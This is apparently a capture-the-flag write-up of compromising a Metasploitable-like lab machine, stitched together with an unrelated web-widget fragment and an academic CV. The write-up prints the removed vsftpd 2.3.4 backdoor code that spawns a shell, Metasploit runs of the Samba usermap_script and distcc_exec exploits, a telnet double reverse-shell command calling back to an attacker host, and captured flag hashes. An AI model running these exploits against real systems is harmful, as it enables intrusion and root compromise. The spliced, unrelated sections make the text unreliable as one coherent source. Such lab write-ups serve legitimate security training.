- https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor
- https://github.com/ahervias77/vsftpd-2.3.4-exploit/blob/master/vsftpd_234_exploit.py
- https://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
The backdoor payload is interesting. In response to a :) smiley face in the FTP username, a TCP callback shell is attempted.
The code changes removing the backdoor can be found in this pastebin. That snippet of code checks for the smiley (0x3a is :
and 0x29 is )
)
--- vsftpd-2.3.4/str.c 2011-06-30 15:52:38.000000000 +0200
+++ vsftpd-<IP_ADDRESS>players/str.c 2008-12-17 06:54:16.000000000 +0100
@@ -569,11 +569,6 @@
{
return 1;
}
- else if((p_str->p_buf[i]==0x3a)
- && (p_str->p_buf[i+1]==0x29))
- {
- vsf_sysutil_extra();
- }
And this part spawns a TCP reverse shell, on port 6200.
--- vsftpd-2.3.4/sysdeputil.c 2011-06-30 15:58:00.000000000 +0200
+++ vsftpd-<IP_ADDRESS>players/sysdeputil.c 2010-03-26 04:25:33.000000000 +0100
-int
-vsf_sysutil_extra(void)
-{
- int fd, rfd;
- struct sockaddr_in sa;
- if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
- exit(1);
- memset(&sa, 0, sizeof(sa));
- sa.sin_family = AF_INET;
- sa.sin_port = htons(6200);
- sa.sin_addr.s_addr = INADDR_ANY;
- if((bind(fd,(struct sockaddr *)&sa,
- sizeof(struct sockaddr))) < 0) exit(1);
- if((listen(fd, 100)) == -1) exit(1);
- for(;;)
- {
- rfd = accept(fd, 0, 0);
- close(0); close(1); close(2);
- dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
- execl("/bin/sh","sh",(char *)0);
- }
-}
That sounds easy enough to trigger, let’s try:
kali@kali:~$ ftp $TARGET
Connected to <IP_ADDRESS>.
220 (vsFTPd 2.3.4)
Name (<IP_ADDRESS>:kali): :)
331 Please specify the password.
Password: <enter>
530 Login incorrect.
Login failed.
ftp> 221 Goodbye.
But it doesn’t seem like anything popped on the port 6200
kali@kali:~$ sudo nmap -p 6200 $TARGET
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-12 15:52 EDT
Nmap scan report for <IP_ADDRESS>
Host is up (0.046s latency).
PORT STATE SERVICE
6200/tcp filtered lm-x
Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
I also tried with the metasploit module, but it didn’t work either.
$ msfconsole
msf5 > search vsftp
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] <IP_ADDRESS>:21 - Banner: 220 (vsFTPd 2.3.4)
[*] <IP_ADDRESS>:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
22/TCP openSSH 4.7p1 Debian9ubuntu1
These SSH keys might be weak keys, which are bruteforceable.
- https://www.exploit-db.com/exploits/5720
- https://hackingandsecurity.blogspot.com/2016/06/metasploitable-2.html
I tried the 5720 exploit from exploit-db but the bruteforce was extremely slow, I gave up on it.
kali@kali:~$ python2 5720.py rsa/2048 <IP_ADDRESS> root 22
139,445/TCP smb
Let’s start with some basic Samba enumeration:
smbclient -L \\\\<IP_ADDRESS>
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
Fixing Old Samba Versions In Kali
Hum, maybe that samba is very old and uses smbv1? Which is disabled by default in kali. To re-enable it, edit smb.conf
and add client min protocol = NT1
in the Global Settings
section:
$ sudo vim /etc/samba/smb.conf
#======================= Global Settings =======================
[global]
client min protocol = NT1
Then restart the smd daemon:
systemctl restart smbd.service
The enumeration should work better:
$ smbclient -L \\\\<IP_ADDRESS>
Enter WORKGROUP\kali's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
No access to anything though :((
$ smbclient \\\\<IP_ADDRESS>\\tmp
Enter WORKGROUP\kali's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Oct 10 00:48:57 2020
.. DR 0 Sun May 20 14:36:12 2012
5145.jsvc_up R 0 Fri Oct 9 12:25:59 2020
.ICE-unix DH 0 Fri Oct 9 12:24:57 2020
.X11-unix DH 0 Fri Oct 9 12:25:22 2020
.X0-lock HR 11 Fri Oct 9 12:25:22 2020
7282168 blocks of size 1024. 5678680 blocks available
smb: \> get 5145.jsvc_up
NT_STATUS_ACCESS_DENIED opening remote file \5145.jsvc_up
All the files have a size of 0, nothing to grab here, moving along ~~
$ smbclient \\\\<IP_ADDRESS>\\opt
Enter WORKGROUP\kali's password:
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
SMB usermap_script
We got the Samba version from the nmap scan:
smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
Looking for exploits affecting that version, one stumbles upon https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script. And that exploit is included in metasploit:
msf5 exploit(multi/samba/usermap_script) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] Exploit completed, but no session was created.
No shell :(( Some more rabbit holes later, I realized that my LHOST was pointing to the wrong IP address (it should be the one assigned to your tun0 interface)
msf5 exploit(multi/samba/usermap_script) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] Command shell session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:42784) at 2020-10-13 11:58:48 -0400
id
uid=0(root) gid=0(root)
Additional note: apparently, set LHOST tun0
also works, which is even better!
And there we have our root account!
cat root/root.txt
92caac3be140ef409e45721348a4e9df
cat /home/makis/user.txt
69454a937d94f5f0225ea00acd2e84c5
3632/TCP distccd
Still looking around, let’s check if distcc has any public exploit in metasploit:
msf5 > search distcc
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
msf5 > use 0
msf5 exploit(unix/misc/distcc_exec) > show options
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS <IP_ADDRESS> yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3632 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
msf5 exploit(unix/misc/distcc_exec) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(unix/misc/distcc_exec) > run
[*] Started bind TCP handler against <IP_ADDRESS>:4444
[*] Exploit completed, but no session was created.
After a bunch of trial and error on which payload to use:
msf5 exploit(unix/misc/distcc_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 cmd/unix/bind_perl manual No Unix Command Shell, Bind TCP (via Perl)
1 cmd/unix/bind_perl_ipv6 manual No Unix Command Shell, Bind TCP (via perl) IPv6
2 cmd/unix/bind_ruby manual No Unix Command Shell, Bind TCP (via Ruby)
3 cmd/unix/bind_ruby_ipv6 manual No Unix Command Shell, Bind TCP (via Ruby) IPv6
4 cmd/unix/generic manual No Unix Command, Generic Command Execution
5 cmd/unix/reverse manual No Unix Command Shell, Double Reverse TCP (telnet)
6 cmd/unix/reverse_bash manual No Unix Command Shell, Reverse TCP (/dev/tcp)
7 cmd/unix/reverse_bash_telnet_ssl manual No Unix Command Shell, Reverse TCP SSL (telnet)
8 cmd/unix/reverse_openssl manual No Unix Command Shell, Double Reverse TCP SSL (openssl)
9 cmd/unix/reverse_perl manual No Unix Command Shell, Reverse TCP (via Perl)
10 cmd/unix/reverse_perl_ssl manual No Unix Command Shell, Reverse TCP SSL (via perl)
11 cmd/unix/reverse_ruby manual No Unix Command Shell, Reverse TCP (via Ruby)
12 cmd/unix/reverse_ruby_ssl manual No Unix Command Shell, Reverse TCP SSL (via Ruby)
13 cmd/unix/reverse_ssl_double_telnet manual No Unix Command Shell, Double Reverse TCP SSL (telnet)
msf5 exploit(unix/misc/distcc_exec) > set payload 5
payload => cmd/unix/reverse
msf5 exploit(unix/misc/distcc_exec) > run
[+] sh -c '(sleep 4602|telnet <IP_ADDRESS> 4444|while : ; do sh && break; done 2>&1|telnet <IP_ADDRESS> 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on <IP_ADDRESS>:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo xVz84ZvmAfxqZKH8;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "xVz84ZvmAfxqZKH8\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 3 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:40303) at 2020-10-13 16:45:09 -0400
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
cat /root/root.txt
cat: /root/root.txt: Permission denied
cat /home/makis/user.txt
69454a937d94f5f0225ea00acd2e84c5
Using the Double Reverse TCP (Telnet)
finally yielded some results!
However, we only gain access to a daemon
account, which allows us to see user.txt
but we definitely don’t have root privileges.
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
cat /root/root.txt
cat: /root/root.txt: Permission denied
cat /home/makis/user.txt
<some_hash_here>
Summary
That machine looks disturbingly similar to metaploitable2 but with some modifications…
- The
distcc_exec
vulnerabililty allows us to have a non-privileged shell - The SMB
usermap_script
vulnerability allows us to get a root shell


This displays data sent from a server.
You have selected {{animal}}.
Select an animal to update the server response.


Makoto Yamada, Ph.D. |
Ph.D., Statistical Science, The Graduate University for Advanced Studies, Mar 2010
M.S., Electrical Engineering, Colorado State University, May 2005
B.S., Computer Science and Engineering, University of Aizu, Mar 2003
Transitional Assosiate Professor, Machine Learning and Data Science Unit, Okinawa Institute of Science and Technology (2022 - present)
Associate Professor, Kyoto University (2018 - present)
Team Leader (PI, equivalent to full professor), RIKEN AIP (2020-)
Unit Leader (PI, equivalent to associate professor), RIKEN AIP (2017 - 2020)
Visiting Associate Professor, Research Center for Statistical Machine Learning, Institute of Statistical Mathematics (2017 - present)
Visiting Associate Professor, Department of Computer Science, Aalto University (2017 - present)
Assistant Professor, Kyoto University, Japan (Oct. 2015 - 2017)
Research Scientist, Yahoo Labs (Jul. 2013- Oct. 2015)
Research Associate, NTT Communication Science Laboratories (Jul. 2012 - Jun. 2013)
Visitor, Disney Research Pittsburgh (Jan. 2012 - Jun. 2012)
Visitor, Carnegie Mellon University (Jan. 2012 - Jun. 2012)
Postdoctoral researcher, Tokyo Institute of Technology (Apr. 2010 - Jun. 2012)
Research engineer,Yamaha Corporation (Jul. 2007 - Mar. 2010)
System engineer, Hitachi Corporation (Jul. 2005 - Jun. 2007)
WSDM Outstanding SPC award, 2020
WSDM Outstanding SPC award, 2019
WSDM best paper award, 2016
Yahoo Labs Excellence Award, 2014
Interactive Presentation Award, Meeting on Image Recognition and Undestanding
(MIRU2013), 2013
IBISML Award Finalist, Jun. 2012
Honorable Mention, IBIS2010
Student Travel Grant, ICASSP 2009
Organizer, WSDM 2023 (WSDMcup co-chair), ICML 2022 (Communication chair), WSDM 2018 (Publicity chair), AISTATS 2019 (Workflow chair)
Senior PC member (Area Chair), WWW 2020, WSDM 2018-2020,2022, ICML 2019-2021, NeurIPS 2020,2021, AAAI 2020, IJCAI 2018, ACML 2019,2020, AIRS 2016
PC member, WSDM 2017, ICML 2017,2018, AISTATS 2014-2018, IJCAI 2011-2015,2017, AAAI 2017, ACML 2010-2015,2017, WWW 2015-2017, SIGIR 2016-2017, ECML 2016-2017, CIKM 2016